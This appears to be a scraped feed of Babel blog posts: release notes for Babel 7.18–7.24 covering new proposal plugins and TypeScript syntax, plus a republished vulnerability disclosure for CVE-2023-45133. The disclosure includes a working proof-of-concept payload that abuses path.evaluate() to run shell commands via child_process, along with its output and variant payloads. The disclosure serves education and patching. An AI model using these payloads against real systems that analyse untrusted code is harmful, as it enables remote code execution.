We updated our Decorators implementation to match the latest version of the proposal, and we improved the way we transform class private fields and methods. We also added support for importing JSON modules in browsers and Node.js, an older Stage 3 proposal depending on Import Attributes.
You can read the whole changelog on GitHub.
If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!
The decorators Stage 3 proposals received many minor updates in the past years, and unfortunately all the implementations in the various tools implement slightly different versions of it.
We updated our implementation to match the latest version of the proposal. This version has also been implemented in TypeScript and is currently being implemented natively in browsers. The main difference compared to the 2023-05
version previously implemented is in the execution order of initializers registered through the context.addInitializer
method.
You can enable this version of the proposal by setting the "version": "2023-11"
option in @babel/plugin-proposal-decorators
:
{
"plugins": [
["@babel/plugin-proposal-decorators", {
"version": "2023-11"
}]
]
}
You can also try the new decorators proposal in the online Babel REPL.
Babel 7.24.0 finally adds support for the JSON modules proposal, that has been in Stage 3 since 2021. This proposal allows directly importing JSON files using import
declarations together with a type: "json"
import attribute:
import myConfig from "./config.json" with { type: "json" };
Babel will transform those imports to the appropriate way of loading JSON files in your target platform(s), according to your targets
option:
const myConfig = await fetch(import.meta.resolve("./config.json"))
.then(r => r.json());
import.meta
supportconst myConfig = JSON.parse(
require("fs").readFileSync(require.resolve("./config.json"))
);
You can enable it using the @babel/plugin-proposal-json-modules
plugin:
{
"targets": ["chrome 90", "firefox 90", "node 20.6"],
"plugins": ["@babel/plugin-proposal-json-modules"]
}
Babel implemented support for parsing and transforming Flow type annotations very long time ago, but in the past year we haven't done a very good job at keeping up with new Flow language features.
In the meanwhile, the Hermes team has been working on a Babel plugin, babel-plugin-syntax-hermes-parser
, that lets you directly use Hermes, React Native's new JavaScript engine, to parse Flow code. It supports all the latest Flow features, such as as
type casts and conditional types.
You can now more easily enable this parser using @babel/preset-flow
's experimental_useHermesParser
option:
{
"presets": [
["@babel/preset-flow", {
"experimental_useHermesParser": true
}]
]
}
We are exploring the possibility of dropping Flow support from @babel/parser
in a future release, in favor of this Hermes-based parser. Please test it out, report any parsing bugs in Hermes' bug tracker and tell us about your experience!
The Hermes parser does not support yet transforms based on in-file comments
This article was originally published on William Khem Marquez's blog. He also published a series on using Babel to deobfuscate JavaScript code: check it out!
Those who use Babel for reverse engineering/code deobfuscation love using Babel because of all of the built in functionality it provides. One of the most useful features is the ability to statically evaluate expressions using path.evaluate()
and path.evaluateTruthy()
. I have written about this in the previous articles:
Wait, did I say statically evaluate?
Before delving into the details, let’s take a look at the proof of concept I came up with:
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default;
const source = `String({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`;
const ast = parser.parse(source);
const evalVisitor = {
Expression(path) {
path.evaluate();
},
};
traverse(ast, evalVisitor);
This simply outputs the result of the id
command to the terminal, as can be seen below.
┌──(kali㉿kali)-[~/Babel RCE]
└─$ node exploit.js
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer),142(vboxsf)
Of course, the payload can be adapted to do anything, such as exfiltrate data or spawn a reverse shell.
To understand why this vulnerability works, we need to understand the source code of the culprit function, evaluate
. The source code of babel-traverse/src/path/evaluation.ts
prior to the fix is archived here
/**
* Walk the input `node` and statically evaluate it.
*
* Returns an object in the form `{ confident, value, deopt }`. `confident`
* indicates whether or not we had to drop out of evaluating the expression
* because of hitting an unknown node that we couldn't confidently find the
* value of, in which case `deopt` is the path of said node.
*
* Example:
*
* t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }
* t.evaluate(parse("!true")) // { confident: true, value: false }
* t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }
*
*/
export function evaluate(this: NodePath): {
confident: boolean;
value: any;
deopt?: NodePath;
} {
const state: State = {
confident: true,
deoptPath: null,
seen: new Map(),
};
let value = evaluateCached(this, state);
if (!state.confident) value = undefined;
return {
confident: state.confident,
deopt: state.deoptPath,
value: value,
};
}
When evaluate
is called on a NodePath, it goes through the evaluatedCached
wrapper, before reaching the _evaluate
function which does all the heavy lifting. The _evaluate
function is where the vulnerability lies.
This function is responsible for recursively breaking down AST nodes until it reaches an atomic operation that can be evaluated confidently. The majority of the base cases are evaluated for atomic operations only (such as for binary expressions between two literals). However, there are a few exceptions to this rule.
The two pieces of the source code we care about are the handling of call expressions and object expressions, as shown below:
_evaluate
source codeconst VALID_OBJECT_CALLEES = ["Number", "String", "Math"] as const;
const VALID_IDENTIFIER_CALLEES = [
"isFinite",
"isNaN",
"parseFloat",
"parseInt",
"decodeURI",
"decodeURIComponent",
"encodeURI",
"encodeURIComponent",
process.env.BABEL_8_BREAKING ? "btoa" : null,
process.env.BABEL_8_BREAKING ? "atob" : null,
] as const;
const INVALID_METHODS = ["random"] as const;
function isValidObjectCallee(
val: string
): val is (typeof VALID_OBJECT_CALLEES)[number] {
return VALID_OBJECT_CALLEES.includes(
// @ts-expect-error val is a string
val
);
}
function isValidIdentifierCallee(
val: string
): val is (typeof VALID_IDENTIFIER_CALLEES)[number] {
return VALID_IDENTIFIER_CALLEES.includes(
// @ts-expect-error val is a string
val
);
}
function isInvalidMethod(val: string): val is (typeof INVALID_METHODS)[number] {
return INVALID_METHODS.includes(
// @ts-expect-error val is a string
val
);
}
function _evaluate(path: NodePath, state: State): any {
/** snip **/
if (path.isObjectExpression()) {
const obj = {};
const props = path.get("properties");
for (const prop of props) {
if (prop.isObjectMethod() || prop.isSpreadElement()) {
deopt(prop, state);
return;
}
const keyPath = (prop as NodePath<t.ObjectProperty>).get("key");
let key;
// @ts-expect-error todo(flow->ts): type refinement issues ObjectMethod and SpreadElement somehow not excluded
if (prop.node.computed) {
key = keyPath.evaluate();
if (!key.confident) {
deopt(key.deopt, state);
return;
}
key = key.value;
} else if (keyPath.isIdentifier()) {
key = keyPath.node.name;
} else {
key = (
keyPath.node as t.StringLiteral | t.NumericLiteral | t.BigIntLiteral
).value;
}
const valuePath = (prop as NodePath<t.ObjectProperty>).get("value");
let value = valuePath.evaluate();
if (!value.confident) {
deopt(value.deopt, state);
return;
}
value = value.value;
// @ts-expect-error key is any type
obj[key] = value;
}
return obj;
}
/** snip **/
if (path.isCallExpression()) {
const callee = path.get("callee");
let context;
let func;
// Number(1);
if (
callee.isIdentifier() &&
!path.scope.getBinding(callee.node.name) &&
(isValidObjectCallee(callee.node.name) ||
isValidIdentifierCallee(callee.node.name))
) {
func = global[callee.node.name];
}
if (callee.isMemberExpression()) {
const object = callee.get("object");
const property = callee.get("property");
// Math.min(1, 2)
if (
object.isIdentifier() &&
property.isIdentifier() &&
isValidObjectCallee(object.node.name) &&
!isInvalidMethod(property.node.name)
) {
context = global[object.node.name];
// @ts-expect-error property may not exist in context object
func = context[property.node.name];
}
// "abc".charCodeAt(4)
if (object.isLiteral() && property.isIdentifier()) {
// @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type (StringLiteral and NumberLiteral)
const type = typeof object.node.value;
if (type === "string" || type === "number") {
// @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type
context = object.node.value;
func = context[property.node.name];
}
}
}
if (func) {
const args = path
.get("arguments")
.map((arg) => evaluateCached(arg, state));
if (!state.confident) return;
return func.apply(context, args);
}
}
/** snip **/
}
The first thing to understand is that while call expressions can indeed be evaluated, they are subject to a whitelist check, relying on the VALID_OBJECT_CALLEES
or VALID_IDENTIFIER_CALLEES
arrays.
Additionally, there are three cases for handling call expressions:
VALID_OBJECT_CALLEES
or VALID_IDENTIFIER_CALLEES
.VALID_OBJECT_CALLEES
, and the property is not blacklisted in INVALID_METHODS
.The most interesting one is the second case:
if (
object.isIdentifier() &&
property.isIdentifier() &&
isValidObjectCallee(object.node.name) &&
!isInvalidMethod(property.node.name)
) {
context = global[object.node.name];
// @ts-expect-error property may not exist in context object
func = context[property.node.name];
}
/** snip **/
if (func) {
const args = path.get("arguments").map((arg) => evaluateCached(arg, state));
if (!state.confident) return;
return func.apply(context, args);
}
The only blacklisted method is random
, which is a method of the Math
object. This means that any other method of either the whitelisted Number
, String
, or Math
objects can be directly referenced.
In JavaScript, all classes are functions. Since Number
and String
are global JavaScript classes, their constructor
property points to the Function
constructor.
Therefore, the two expressions below are equivalent:
Number.constructor('javascript_code_here;');
Function('javascript_code_here;');
Passing in an arbitrary string to the Function
constructor returns a function that will evaluate the provided string as JavaScript code when called.
The AST node generated by Number.constructor('javascript_code_here;')
contains:
VALID_OBJECT_CALLEES
INVALID_METHODS
Therefore, the code is considered safe to evaluate, and we have successfuly crafted a malicious function.
However, it is crucial to note that this cannot call the function on its own. It only creates an anonymous function.
So, how exactly can we call the function? This is where the second piece of the puzzle comes in: object expressions.
Within Babel’s _evaluate
method, an ObjectExpression
node undergoes recursive evaluation, producing a true JavaScript object. There’s no limitation on key names for ObjectProperty
. As long as every ObjectProperty
child in the ObjectExpression
yields confident: true
from _evaluate()
, we can obtain a JavaScript object with custom keys/values.
A key property to leverage is toString
(MDN Reference). Defining this property on an object to a function we control will allow us to execute arbitrary code when the object is converted to a string.
This is exactly what we do in the payload:
String(({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
We’ve assigned our malicious function, crafted via the Function
constructor, to the toString
property of the object. Thus, when this object undergoes a string conversion, it gets triggered and executed.
In the provided example, we pass the object to the String
function, given its status as a whitelisted function (referenced in case 1). Still, the String
constructor isn’t mandatory. Implicit type coercion in JavaScript can also trigger our malicious function, as demonstratedin these alternative payload formats:
""+(({ toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
1+(({ valueOf: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));
The first example employs type-coercion to transform the object into a string. In contrast, the second example utilizes type-coercion to convert it into a number, as detailed in Object.prototype.valueOf(). Both examples exploit the _evaluate()
method’s approach to handling BinaryExpression
nodes, which directly performs the operation after recursively evaluating the left and right operands.
Upon disclosing this vulnerability, I was impressed by the swift response from the Babel team, who promptly rolled out a patch. This patch was released in two parts:
The first of which was a workaround for all of the affected official Babel packages, by guarding the calls to evalute()
with an isPure()
check. isPure inherently prevents this bug, as it returns false for all MemberExpression
nodes. PR #16032: Update babel-polyfills packages
The subsequent step involved refining the evaluate()
function. This adjustment ensured that all inherited methods, not only constructor
, were prevented from being called. PR #16033: Only evaluate own String/Number/Math methods
After the fixes were implemented, GitHub staff issued CVE-2023-45133 for the security advisory.
You might have noticed that this blog post was released on the same day as the security advisory. Usually for critical vulnerabilities, it’s customary to wait a while before disclosing a proof of concept. However, I believe this disclosure timing is justifiable for a few reasons:
Predominantly, the vast majority of Babel users remain unaffected by this vulnerability. Babel is primarily utilized for refactoring and transpiling one’s own code, which means the typical use case doesn’t expose users to this risk. It’s improbable that many have server-side implementations that accept and process arbitrary code from users through the compilation plugins or the invocation of path.evaluate
. Furthermore, there are really only a couple real use-cases for using Babel to analyze untrusted code on the server-side:
In the first case, I doubt any legitimate bot mitigation entity would try to attempt Remote Code Execution (RCE) due to the legal ramifications. Meanwhile, professionals using Babel for malware reversal possess the expertise to conduct their analyses within controlled, sandboxed environments. Thus, the risk to the community, in real-world scenarios, remains minimal.
Discovering and delving into this vulnerability was a fun experience. I initially stumbled upon the vulnerability during a brainstorming session for a Babel-based challenge for UofTCTF’s upcoming capture the flag competition, where I was focusing on an entirely different, non-security-related “bug”.
This vulnerability predominantly impacts those integrating untrusted code with Babel. Unfortunately, this places individuals leveraging Babel for “static deobfuscation” directly in the crosshairs of this attack vector.
There’s a touch of irony in the fact that my first credited CVE emerged from reverse engineering Babel - the very tool I often employ for reverse engineering JavaScript, and the topic of all of my previous posts 🤣.
This was a great learning experience, and hopefully this write-up was useful to you as well. Thanks for reading, and take care!
It includes transform support for the Decorator Metadata, Source Phase Import, Deferred Import Evaluation, and Optional Chaining Assignment proposals. We also updated our parser to support the new TypeScript 5.2 version, and added a transform option to let you use the .ts
extension within TypeScript imports.
In addition to releasing version 7.23.0, we also recently published the first Babel 8 alpha release!
You can read the whole changelog on GitHub.
If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!
The decorator metadata Stage 3 proposal extends the Decorator proposal, allowing decorators to communicate with each other by sharing some metadata.
function write(_, context) {
context.metadata.message = "Hello from writer!";
}
function read(_, context) {
console.log(context.metadata.message);
}
@read // Logs "Hello from writer!"
class A {
@write x;
}
While we usually have one plugin per proposal, these two proposals are so closely related that we decided to include support for Decorator Metadata directly in @babel/plugin-proposal-decorators
. If you are on the latest version of Babel and you are already using standard-track decorators, this proposal is enabled by default.
The Source Phase Import Stage 3 proposal allows importing an object representation of the source of a module, without evaluating it and without loading its dependencies. You can load module sources using the import source
syntax, for languages that have a defined source representation:
import source fooSource from "foo";
The motivating use case is to have static syntax to load WebAssembly.Module
objects, rather than being forced to do so dynamically:
// Before
const url = import.meta.resolve("./my-wasm/module.wasm");
const responsePromise = fetch(url);
const mod = await WebAssembly.compileStreaming(responsePromise);
// After
import source mod from "./my-wasm/module.wasm";
Babel now supports transforming source imports for WebAssembly modules targeting Node.js, Web-compatible environments (browsers and Deno), or both, depending on your configured targets
.
You can transform it using the @babel/plugin-proposal-import-wasm-source
plugin:
{
"targets": ["chrome 90", "firefox 90", "node 20.6"],
"plugins": ["@babel/plugin-proposal-import-wasm-source"]
}
The Deferred Import Evaluation Stage 2 proposal allows deferring the (synchronous) evaluation of imported modules until they are used. This can greatly improve the startup performance of your code when using modules that have a significant initialization cost.
You can use the new import defer
syntax to defer your imports:
// this line does not evaluate ./mod
import defer * as myMod from "./mod";
later(() => {
// this one evaluates it!
use(myMod.foo);
})
The import defer
syntax only support namespace imports, so the following is not valid:
import defer modDefault from "./mod";
import defer { named } from "./mod";
Babel only supports compiling import defer
when compiling ECMAScript modules to CommonJS, using the @babel/plugin-proposal-import-defer
plugin:
// babel.config.json
{
"plugins": [
"@babel/plugin-transform-modules-commonjs",
"@babel/plugin-proposal-import-defer"
]
}
If you are using Babel with a bundler and thus you are not compiling modules via Babel, if your bundler supports import defer
you can use @babel/plugin-syntax-import-defer
to allow parsing the new syntax.
The Optional Chaining Assignment Stage 1 proposal allows using optional chaining on the left side of assignment operators:
maybeAnObj?.prop = theValue;
// Equivalent to
if (maybeAnObj != null) maybeAnObj.prop = theValue;
This proposal is championed by Nicolò Ribaudo, a member of the Babel team, and we are already implementing it at Stage 1 to gather feedback that can help the design process in TC39. If you have any comments, or any real-world examples or use cases you can share, please leave them in the proposal repository!
You can try this proposal using the @babel/plugin-proposal-optional-chaining-assign
plugin. Given the early stage and thus the high possibility of breaking changes, you must specify which version you want to use (currently only 2023-07
is supported):
// babel.config.json
{
"plugins": [
["@babel/plugin-proposal-optional-chaining-assign", {
"version": "2023-07"
}]
]
}
Babel 7.23.0 now supports parsing TypeScript 5.2, whose only syntactic addition is the introduction of tuple types having both labeled and unlabeled entries.
In addition to that, @babel/preset-typescript
now has a rewriteImportExtensions
option that, when enabled, will rewrite .ts
/.mts
/.cts
extensions in your import declarations to .js
/.mjs
/.cjs
. Together with TypeScript's allowImportingTsExtension
option, this allows you to write complete relative specifiers in your imports while using the same extension used by the files you are authoring.
As an example, given this project structure (where src
contains the source files, and dist
the compiled files):
.
├── src
│ ├── main.ts
│ └── dep.ts
├── dist
│ ├── main.js
│ └── dep.js
├── babel.config.json
└── tsconfig.json
and with the following configuration files:
babel.config.json | tsconfig.json |
---|---|
|
|
you will be able to write import x from "./dep.ts"
in main.ts
, and Babel will transform it to import x from "./dep.js"
when compiling main.ts
to main.js
.
After multiple years working on it, we finally released Babel 8.0.0 alpha! 🥳
Future pre-release will include more breaking changes, so we do not recommend to use it in production unless you are willing to keep up with all the changes as they come. However, you can already start getting ready for what will be Babel 8.0.0 stable:
npm install -D @babel/core@next
(or the equivalent command with your package manager), and verify if it already works in your project. Please make sure that all the @babel/*
packages in your package.json
have exactly the same version (for example, 8.0.0-alpha.2
).In addition to the migration guides, you can read the full changelog of the various Babel 8 pre-releases on GitHub.
]]>We also updated our implementation of decorators following some changes in the proposal, and added support for the TypeScript import ... =
and export ... =
statements.
@babel/preset-env
now includes transform support for the v
regular expressions flag, which was recently approved as part of the ECMAScript standard, by default. Lastly, we renamed all the plugins for stable ECMAScript features from -proposal-
to -transform-
.
You can read the whole changelog on GitHub.
If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!
The Explicit Resource Management Stage 3 proposal allows defining variables containing resources that will be "disposed" when exiting the scope where they are declared. This is done through using
(for synchronous disposal) and await using
(for asynchronous disposal) declarations:
{
using fileHandle = filesystem.open("./my/file.txt");
write(fileHandle, "Hello!");
} // At the end of the block, fileHandle will be automatically closed.
{
await using db = await Database.connect("//my-db.sql");
db.query("INSERT INTO tools (name, version) VALUES ('Babel', '7.22.0')");
} // At the end of the block, the db connection will be closed asynchronously
You can enable support for this proposal by adding @babel/plugin-proposal-explicit-resource-management
to your Babel config:
{
"plugins": [
"@babel/plugin-proposal-explicit-resource-management"
]
}
You can also try out this proposal in our REPL.
The "import assertions" proposal's syntax changed to use the with
keyword instead of assert
, and it has also been renamed to "import attributes":
import json from "./foo.json" with { type: "json" };
import("./foo.json", { with: { type: "json" } });
We've implemented parsing support for this new version of the proposal, which can be enabled using the @babel/plugin-syntax-import-attributes
plugin (or, if you are directly using @babel/parser
, importAttributes
):
{
"plugins": [
- "@babel/syntax-import-assertions",
+ "@babel/syntax-import-attributes"
]
}
You can read more about the changes to the proposal in the slides presented at the March TC39 meeting, and about the motivation in the slides presented at the January TC39 meeting.
@babel/plugin-syntax-import-assertions
will continue working until we release Babel 8.0.0, but will no longer be maintained, so we highly recommended migrating to the new plugin.
To ease the migration from with
to assert
, if you run the Babel-compiled code only in tools and runtimes that support the legacy syntax but do not support yet the new one (such as Node.js 20 or Rollup 3.21), you can use the @babel/plugin-proposal-import-attributes-to-assertions
:
{
"plugins": [
- "@babel/syntax-import-assertions",
+ "@babel/plugin-proposal-import-attributes-to-assertions"
]
}
🛑 Note that this plugin generates deprecated code that will not work in tools and runtimes only supporting the
with
syntax now described by the proposal.
The TC39 committee received further feedback by JavaScript tools and engines implementing decorators, and refined the proposal, and designed different changes and bugfixes in response to it.
The relevant changes for Babel users are:
accessor
static fields now work with derived classes:
class Base {
static accessor x = 2;
}
class Derived extends Base {}
Derived.x; // Used to throw, now returns `2`
this
instead of undefined
:
let MyDecs = {
dec() {
console.log(this); // Now logs `MyDecs` instead of `undefined`
}
};
@MyDecs.dec class {}
You can use this new decorators version by passing the version: "2023-05"
option to the decorators plugin:
{
"plugins": [
["@babel/plugin-proposal-decorators", {
"version": "2023-05"
}]
]
}
You can also try using the new version of the proposal in our REPL, enabling the "Stage 3" preset and choosing the appropriate decorators version.
import ... =
and export =
statementsWhen using the TypeScript verbatimModuleSyntax
option, ESM import
/export
statements are disallowed in CommonJS files. Instead, developers must use the import ... =
and export =
statements:
import A = require("./a");
export = { x: 2 };
which desugar to:
const A = require("./a");
module.exports = { x: 2 };
This syntax is only supported in ECMAScript modules, and only when compiling them to CommonJS. Unless you have some custom configuration, this means:
.cts
files, when using @babel/preset-typescript
.ts
files written as ESM and compiled with @babel/plugin-transform-modules-commonjs
From now on, we will rename -proposal-
plugins to -transform-
once they reach Stage 4 in the standardization process and thus become stable. The following packages have been renamed:
Old name | New name | ECMAScript version |
---|---|---|
@babel/plugin-proposal-unicode-sets-regex | @babel/plugin-transform-unicode-sets-regex | ES2024 |
@babel/plugin-proposal-class-static-block | @babel/plugin-transform-class-static-block | ES2022 |
@babel/plugin-proposal-private-property-in-object | @babel/plugin-transform-private-property-in-object | ES2022 |
@babel/plugin-proposal-class-properties | @babel/plugin-transform-class-properties | ES2022 |
@babel/plugin-proposal-private-methods | @babel/plugin-transform-private-methods | |
@babel/plugin-proposal-numeric-separator | @babel/plugin-transform-numeric-separator | ES2021 |
@babel/plugin-proposal-logical-assignment-operators | @babel/plugin-transform-logical-assignment-operators | ES2021 |
@babel/plugin-proposal-nullish-coalescing-operator | @babel/plugin-transform-nullish-coalescing-operator | ES2020 |
@babel/plugin-proposal-optional-chaining | @babel/plugin-transform-optional-chaining | ES2020 |
@babel/plugin-proposal-export-namespace-from | @babel/plugin-transform-export-namespace-from | ES2020 |
@babel/plugin-proposal-json-strings | @babel/plugin-transform-json-strings | ES2019 |
@babel/plugin-proposal-optional-catch-binding | @babel/plugin-transform-optional-catch-binding | ES2019 |
@babel/plugin-proposal-async-generator-functions | @babel/plugin-transform-async-generator-functions | ES2018 |
@babel/plugin-proposal-object-rest-spread | @babel/plugin-transform-object-rest-spread | ES2018 |
@babel/plugin-proposal-unicode-property-regex | @babel/plugin-transform-unicode-property-regex | ES2018 |
These plugins are all included by default in @babel/preset-env
: if you are using the preset, you don't need to explicitly list them in your configuration and thus this change will not affect you. The packages with the old name will no longer be updated.
Babel now supports the Inline RegExp modifiers proposal, the latest version of the Decorators proposal, and the new TypeScript 5.0 syntax.
You can read the whole changelog on GitHub.
If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!
The Inline RegExp modifiers Stage 3 proposal allows you to enable or disable the i
, m
and s
for part of a regular expression, without affecting other parts.
You can use the (?enableFlags:subPattern)
syntax to enable flags, (?-disableFlags:subPattern)
to disable them, and (?enableFlags-disableFlags:subPattern)
to enable some and disable others at the same time. You can think of non-capturing group (?:subPattern)
as a special case where no flags are modified.
As an example, /(?i:a)a/
matches an a
ignoring its case, followed by a lowercase a
:
/(?i:a)a/.test("aa"); // true
/(?i:a)a/.test("Aa"); // true
/(?i:a)a/.test("aA"); // false
/a(?-i:a)/i
is equivalent: the regular expression is case insensitive, expect for the second a
which must be lowercase.
You can enable this proposal by installing the @babel/plugin-proposal-regexp-modifiers
package and adding it to your Babel configuration:
{
"presets": ["@babel/preset-env"],
"plugins": [
// Add this!
"@babel/plugin-proposal-regexp-modifiers"
]
}
TC39, the committee that standardizes JavaScript, recently approved some changes to the Decorators proposal based on feedback from the TypeScript team.
export
keyword, but not in both places at the same time:
// valid
@dec
export class A {}
// valid
export @dec class B {}
// invalid
@dec
export @dec class C {}
context.access
object provided to decorators expect the target object as their first parameter, rather than as their this
receiver:
let accessX;
function dec(desc, context) {
accessX = context.access;
return dec;
}
class A {
@dec #x = 1;
}
// old semantics
accessX.get.call(new A) === 1;
// new semantics
accessX.get(new A) === 1;
context.access
has a new .has
method, to check if an object has the corresponding element. Continuing the example above:
// #x in new A
accessX.has(new A) === true;
You can enable this new version of the decorators proposal by setting the version
option of "@babel/plugin-proposal-decorators"
to "2023-01"
:
{
"presets": ["@babel/preset-env"],
"plugins": [
["@babel/plugin-proposal-decorators", { "version": "2023-01" }]
]
}
You can also try the new decorators proposal in the online Babel REPL, enabling the "Stage 3" (or lower) preset in the sidebar and choosing the 2023-01
decorators version.
TypeScript 5.0, currently released as a beta prerelease, introduces two new syntactic features:
const
modifiers for type parameters
function getName<const T extends { name: string }>(user: T): T["name"] {
return user.name;
}
let name = getName({ name: "Babel" });
// ^? inferred type: "Babel", instead of just string.
export type *
declarations
export type * from "./mod";
export type * as ns from "./mod";
export
declaration while compiling from TypeScript to JavaScript.Additionally, TypeScript 5.0 introduces support for the standard Decorators proposal, that you can enable in Babel using @babel/plugin-proposal-decorators
.
You can read more about the new TypeScript features in their release post!
.cts
configuration filesIf you installed @babel/preset-typescript
, or if you are running Babel using ts-node
, you can now use babel.config.cts
as a Babel configuration file written in TypeScript and CommonJS. You can read more about this in the documentation.
It's not possible yet to use babel.config.ts
and babel.config.mts
files, pending stabilization of the Node.js ESM loader API.
Source maps generated by Babel now support Friendly Call Frames, to show better names for trasformed functions in devtools.
Additionally, @babel/generator
now accepts input source maps generated from other tools in the build pipeline: this allows to properly merge source maps even when using @babel/generator
directly without @babel/core
, and improves the general performance of source map merging in when using Babel.
This release includes support for TypeScript 4.9, and parser support for the Import Reflection and Explicit Resource Management Stage 2 proposals. Additionally, you can now use Deno as one of your compilation targets.
In the past few releases we have made gradual improvements @babel/generator
's code location tracking, which lead to higher source map quality and better positioning of comments in the generated output.
We are also releasing version 9.0.0 of babel-loader
, the Babel loader for Webpack.
You can read the whole changelog on GitHub.
If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!
TypeScript 4.9 introduces a new keyword operator, satisfies
, that lets you assert that an expression has a given type without actually casting that expression:
let a = { x: 1, y: 2 } as const;
// ^ type is { x: 1, y: 2 }
let b = a satisfies { [key: string]: number };
// ^ type is still { x: 1, y: 2 }, and not { [key: string]: number }!
a satisfies { [key: string]: string };
// error! a does not satisfies that type
You can read more about this in the TypeScript 4.9 release post 😉.
Babel can now parse and strip away those annotations when using @babel/plugin-transform-typescript
or @babel/preset-typescript
, allowing you to start using the new TypeScript version.
When compiling for Deno, you can configure @babel/preset-env
to only compile the features not supported by your Deno version. While Deno usually ships new ECMAScript features as soon as possible, you might need to support older engine versions.
You can enable it using the targets
option:
{
"targets": { "deno": "1.20" },
"presets": ["@babel/preset-env"]
}
babel-loader
9.0.0This new major version of babel-loader
drops support for Webpack < 5, for Babel < 7.12 and for Node.js < 14.15 LTS.
Loader options cannot be specified using the query parameters: instead of specifying options inline (for example, loader: "babel-loader?presets=@babel/preset-env"
) you will have to use the options
object:
{
loader: "babel-loader",
options: {
presets: ["@babel/preset-env"]
}
}
You can also use a dedicated Babel configuration file, such as babel.config.json
.
If you are not using query parameters to specify Babel options, and if you are on a modern version of Webpack, Babel and Node.js, you should be able to update without changes to your Webpack or Babel configurations.
]]>This release updates our implementation of the decorators proposal, which reached Stage 3 in March. It also includes support for the new duplicate named capturing groups proposal for regular expressions.
You can read the whole changelog on GitHub.
If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!
Given the stabilization of the decorators and Record and Tuple proposal, we set some default values for their parser plugin options:
decorators
/@babel/plugin-proposal-decorators
's decoratorsBeforeExport
now defaults to false
;recordAndTuple
/@babel/plugin-proposal-record-and-tuple
's syntaxType
option now defaults to hash
.These options will be removed in Babel 8.
The decorators proposal was promoted to Stage 3 with some minor but observable changes. You can enable the new version using the "version": "2022-03"
option of @babel/plugin-proposal-decorators
:
{
"plugins": [
["@babel/plugin-proposal-decorators", {
"version": "2022-03"
}]
]
}
If you are migrating from the 2021-12
version, the following breaking changes might affect you:
initialize
method of the object returned by accessor decorators has been renamed to init
;isPrivate
and isStatic
properties of the context
parameter received by the decorators (the second one) have been renamed to private
and static
;context
parameter now always has an access
property, regardless of the decorated element type;getMetadata
/setMetadata
) has been removed and postponed to a future proposal;@(expression)()
-style decorators are disallowed, and you must use @(expression())
;If you are migrating from an older version of the proposal, we suggest reading the full README. 😉
💡 TypeScript plans to implement this version of the proposal. After almost a decade, it will be possible to write decorators without worrying if they will be compiled by Babel or tsc!
Babel now supports the RegExp duplicate named capturing groups proposal, which allows re-using the same group name in alternative RegExp branches:
const dateRE = /(?<year>\d\d\d\d)-(?<month>\d\d)|(?<month>\d\d)-(?<year>\d\d)/;
console.log("2022-12".match(dateRE).groups); // { year: "2022", month: "12" }
console.log("12-2022".match(dateRE).groups); // { year: "2022", month: "12" }
You can enable this proposal using the @babel/plugin-proposal-duplicate-named-capturing-groups-regex
plugin:
{
"plugins": ["@babel/proposal-duplicate-named-capturing-groups-regex"]
}
Babel relies on different third-party packages to transform regular expressions: this is possible thanks to the maintainers of regjsparser, regjsgen and regexpu-core who took time to review our pull requests!
]]>This release includes support for the private destructuring proposal and for TypeScript 4.7.
You can read the whole changelog on GitHub.
If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!
Babel supports transforming the private destructuring proposal. Now you can use private fields or methods in destructuring patterns:
Input | Output |
---|---|
JavaScript
| JavaScript
|
You can enable it by adding the @babel/plugin-proposal-destructuring-private
plugin to your configuration.
To minimize the transpiling footprint, the code generated by this plugin will still expect non-private destructuring and private elements support. If you need to compile them further, you can enable the relevant plugins (or you can use @babel/preset-env
).
TypeScript 4.7 supports different new syntactic features:
instantiation expressions, which allow specifying type arguments of functions without invoking them:
const identity = <T>(val: T) => val;
const stringIdentity = identity<string>; // (val: string) => string;
explicit variance annotations for type arguments, to guide the TypeScript type checker when computing compatibility between different types:
type Provider<out T> = () => T;
type Consumer<in T> = (x: T) => void;
type Mapper<in T, out U> = (x: T) => U;
